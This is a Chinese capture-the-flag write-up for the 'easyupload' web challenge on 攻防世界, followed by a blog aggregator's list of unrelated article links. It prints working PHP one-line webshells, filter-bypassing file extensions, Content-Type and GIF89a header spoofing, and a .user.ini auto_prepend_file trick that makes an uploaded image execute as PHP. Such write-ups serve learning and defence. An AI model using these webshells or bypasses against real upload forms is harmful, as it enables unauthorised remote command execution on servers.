当前位置: 首页 > article >正文

攻防世界35-easyupload-CTFWeb

攻防世界35-easyupload-CTFWeb

通过各种上传发现,过滤了php后缀和内容中有php的文件

有这几种方式上传一句话木马

<script language="php">eval($_POST[1]);</script>
<?php eval($_POST['cmd']);?>
<?= eval($_POST['cmd']);?>

那么如果过滤php的话只能用最后一种方式

上传时也要注意Content-Type: text/jpg

上传名称后缀为.phtml .phps .php5 .pht等(可以自行FUZZ测试,自己找字典)

这题我不会做,也是看题解的

学会一种新方式:

.user.ini绕过

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。

可以新建.user.ini文件,内容如下

GIF89a
auto_prepend_file=a.jpg

上传并更改Content-Type: image/jpeg

然后创建a.jpg,内容为

GIF89a
<?=eval($_REQUEST['cmd']);?>

用蚁剑连接即可

<?=eval($_REQUEST['cmd']);?>

用蚁剑连接即可

![image-20241110152027401](https://img-blog.csdnimg.cn/img_convert/2201b0243af346f87c1e51fb8fc5c786.png)

http://www.kler.cn/a/388838.html

相关文章:

  • JSON-RPC-CXX深度解析:C++中的远程调用利器
  • 【C++】C++11特性(上)
  • 使用jmeter查询项目数据库信息,保存至本地txt或excel文件1108
  • Matlab: 生成对抗网络,使用Datastore结构输入mat格式数据
  • K8s进阶使用
  • DApp开发:定制化解决方案与源码部署的一站式指南
  • 【国产MCU系列】-GD32F4内存映射
  • 基于springboot+vu的二手车交易系统(全套)
  • 如何在docker创建的mysql容器中执行mysql脚本
  • 《大数据治理》
  • 【LeetCode】【算法】560. 和为 K 的子数组
  • 成都睿明智科技有限公司抖音电商服务效果如何?
  • 欺诈文本分类检测(十八):基于llama.cpp+CPU推理
  • vform2 表单数据回显问题
  • WPF中的ResizeMode
  • 用Vue3+SpringBoot实现餐厅点餐系统的购物车功能
  • 数据库系统概论(期末复习版)
  • 简单叙述 Spring 是如何解决循环依赖问题的呢?
  • ubuntu 22.04 server 安装 mysql 5.7.40 LTS
  • layui xm-select的使用
  • ASP.NET Core 路由规则,自定义特性路由 ,IActionConstraint 路由约束 总结 mvc
  • Swift 开发教程系列 - 第12章:协议与协议扩展
  • 利用RANSAC算法拟合平面并生成包围框的点云处理方法,点云聚类、质心坐标、倾斜角度、点云最小外接矩形
  • 【JAVA】正则表达式的贪婪模式与非贪婪模式
  • 详解MySQL安装
  • 使用原生Redis完成分布式锁